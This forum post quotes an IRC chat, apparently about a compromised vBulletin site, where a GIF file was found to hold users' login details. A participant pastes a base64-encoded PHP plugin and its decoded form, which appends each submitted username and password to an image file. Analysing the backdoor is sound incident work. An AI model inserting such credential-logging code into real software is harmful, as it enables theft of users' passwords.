[xpwmaster]

had gif file when opened with notpad showed all users ad passwords .


BiGFiST> well, they added actual plugins
<FireBirD> were
<FireBirD> whice plug ins they added
<BiGFiST> see under vsa stats
<BiGFiST> two login location products
<BiGFiST> there's base64 php code
<BiGFiST> i decrypted that here http://www.base64decode.org/
<BiGFiST> JHN0ciA9ICIiLiRfUE9TVFsndmJfbG9naW5fdXNlcm5hbWUnXS 4iOiIuJF9QT1NUWyd2Yl9sb2dpbl9wYXNzd29yZCddLiJcclxu IjsgDQokZnAgPSBmb3BlbiAoImltYWdlcy9taXNjL3RyZWVfcn guZ2lmIiwgImErIik7IA0KZndyaXRlICgkZnAsICIkc3RyIik7 IA0KZmNsb3NlICgkZnApOw==
<BiGFiST> that gives
<BiGFiST> $str = "".$_POST['vb_login_username'].":".$_POST['vb_login_password']."\r\n";
<BiGFiST> $fp = fopen ("images/misc/tree_rx.gif", "a+");
<BiGFiST> fwrite ($fp, "$str");
<BiGFiST> fclose ($fp);